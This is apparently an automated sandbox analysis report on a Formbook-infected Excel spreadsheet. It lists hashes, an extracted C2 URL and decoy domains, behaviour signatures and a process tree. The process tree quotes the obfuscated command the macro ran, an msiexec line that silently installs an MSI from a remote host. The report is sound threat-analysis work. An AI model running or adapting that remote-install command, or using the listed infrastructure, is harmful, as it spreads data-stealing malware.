Analysis

  • max time kernel
    152s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    06-05-2021 16:05

General

  • Target

    Virement.06.05.xls

  • Size

    37KB

  • MD5

    18a6d23e499cec73758a943dc9392821

  • SHA1

    583fdda8b474d1ef4d16e250b4d901014377e988

  • SHA256

    fc6028f1731d7c612c6a4b848df098cfaa7d3caac1a098c526d9eb24d46bd6c2

  • SHA512

    7e08d609fbc8eb9c0e364bae2bfde135a864b9c3bfb779aff77724d5b79b50f441d8843ff29413de7b0e676aa19b156997405792d13321ad48de5dd9eda9fb62

Malware Config

Extracted

Family

formbook

Version

4.1

C2

http://www.craftsman-vail.com/cca/

Decoy

whenpigsflyhigh.com

artistiklounge.com

tinytrendstique.com

projektpartner-ag.com

charvelevh.com

easycompliances.net

zengheqiye.com

professionalmallorca.com

bonzerstudio.com

nelivo.com

yangxeric.com

aredntech.com

twincitieshousingmarket.com

allshadesunscreen.com

xiang-life.net

qmcp00011.com

lindsayeandmarkv.com

fbcsbvsbvsjbvjs.com

saveonthrivelife.com

newdpo.com

Signatures

  • Formbook

    Formbook is a data stealing malware which is capable of stealing data.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Formbook Payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • NSIS installer 6 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 11 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies registry class 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 50 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1228
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Virement.06.05.xls
      2⤵
      • Enumerates system info in registry
      • Modifies Internet Explorer settings
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1684
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C m^SiE^x^e^c /i http://farm-finn.com/admin/tgh66091.msi /qn
        3⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:268
        • C:\Windows\SysWOW64\msiexec.exe
          mSiExec /i http://farm-finn.com/admin/tgh66091.msi /qn
          4⤵
          • Use of msiexec (install) with remote resource
          • Suspicious use of AdjustPrivilegeToken
          PID:1756
    • C:\Windows\SysWOW64\raserver.exe
      "C:\Windows\SysWOW64\raserver.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1356
      • C:\Windows\SysWOW64\cmd.exe
        /c del "C:\Windows\Installer\MSIBB85.tmp"
        3⤵
          PID:1636
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        2⤵
          PID:1900
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Blocklisted process makes network request
        • Enumerates connected drives
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:828
        • C:\Windows\Installer\MSIBB85.tmp
          "C:\Windows\Installer\MSIBB85.tmp"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:1168
          • C:\Windows\Installer\MSIBB85.tmp
            "C:\Windows\Installer\MSIBB85.tmp"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            PID:920

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      Query Registry

      2
      T1012

      Peripheral Device Discovery

      1
      T1120

      System Information Discovery

      3
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Windows\Installer\MSIBB85.tmp
        MD5

        32b4cdd8df63b6e2fd06d9c3f70983e2

        SHA1

        56a0cb8f39d7740fa2eb4a3803b20235a9750eb4

        SHA256

        5432639b7cf4aff9b0511e5afa6ef16e5eff79cd7236562c15ea681973569f61

        SHA512

        b89c80661d1240df84a71c2c4bff66e86d41bcc61c9cc1263c0be2dbb64fbc0f7907468faf4098f7ae3eb8f6386aaab2a568747549431cbc7987eb95ba696bde

      • C:\Windows\Installer\MSIBB85.tmp
        MD5

        32b4cdd8df63b6e2fd06d9c3f70983e2

        SHA1

        56a0cb8f39d7740fa2eb4a3803b20235a9750eb4

        SHA256

        5432639b7cf4aff9b0511e5afa6ef16e5eff79cd7236562c15ea681973569f61

        SHA512

        b89c80661d1240df84a71c2c4bff66e86d41bcc61c9cc1263c0be2dbb64fbc0f7907468faf4098f7ae3eb8f6386aaab2a568747549431cbc7987eb95ba696bde

      • C:\Windows\Installer\MSIBB85.tmp
        MD5

        32b4cdd8df63b6e2fd06d9c3f70983e2

        SHA1

        56a0cb8f39d7740fa2eb4a3803b20235a9750eb4

        SHA256

        5432639b7cf4aff9b0511e5afa6ef16e5eff79cd7236562c15ea681973569f61

        SHA512

        b89c80661d1240df84a71c2c4bff66e86d41bcc61c9cc1263c0be2dbb64fbc0f7907468faf4098f7ae3eb8f6386aaab2a568747549431cbc7987eb95ba696bde

      • \Users\Admin\AppData\Local\Temp\nsdBC5E.tmp\juw9gxx34fgqj.dll
        MD5

        c0903517afa29eb5aa5ce627b447f031

        SHA1

        b337659ad551e409836e5d51e161ae5b46269378

        SHA256

        4bd83d6b82767ff08aaade6bee60bdb5717b1462dac53997adf2ae831ae0f462

        SHA512

        5e086cbac7010f6a88ac7c2dfcd8dce6dcf1e459434fac1536424921660a7bb8390a14103821e6db007c3846907fb7dc904312fc25b1519e40215a754903656d

      • memory/268-63-0x0000000000000000-mapping.dmp
      • memory/828-66-0x000007FEFC2E1000-0x000007FEFC2E3000-memory.dmp
        Filesize

        8KB

      • memory/920-77-0x0000000000590000-0x00000000005A4000-memory.dmp
        Filesize

        80KB

      • memory/920-75-0x0000000000400000-0x000000000042E000-memory.dmp
        Filesize

        184KB

      • memory/920-76-0x0000000000700000-0x0000000000A03000-memory.dmp
        Filesize

        3.0MB

      • memory/920-73-0x000000000041EB70-mapping.dmp
      • memory/1168-72-0x0000000000440000-0x0000000000442000-memory.dmp
        Filesize

        8KB

      • memory/1168-67-0x0000000000000000-mapping.dmp
      • memory/1228-78-0x0000000004F40000-0x0000000005084000-memory.dmp
        Filesize

        1.3MB

      • memory/1228-86-0x00000000073C0000-0x0000000007521000-memory.dmp
        Filesize

        1.4MB

      • memory/1356-82-0x0000000000A30000-0x0000000000A4C000-memory.dmp
        Filesize

        112KB

      • memory/1356-79-0x0000000000000000-mapping.dmp
      • memory/1356-83-0x00000000000C0000-0x00000000000EE000-memory.dmp
        Filesize

        184KB

      • memory/1356-84-0x0000000001FE0000-0x00000000022E3000-memory.dmp
        Filesize

        3.0MB

      • memory/1356-85-0x00000000008D0000-0x0000000000963000-memory.dmp
        Filesize

        588KB

      • memory/1636-81-0x0000000000000000-mapping.dmp
      • memory/1684-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/1684-61-0x0000000071AE1000-0x0000000071AE3000-memory.dmp
        Filesize

        8KB

      • memory/1684-60-0x000000002F9E1000-0x000000002F9E4000-memory.dmp
        Filesize

        12KB

      • memory/1756-64-0x0000000000000000-mapping.dmp
      • memory/1756-65-0x0000000075B31000-0x0000000075B33000-memory.dmp
        Filesize

        8KB

      • memory/1900-87-0x0000000000000000-mapping.dmp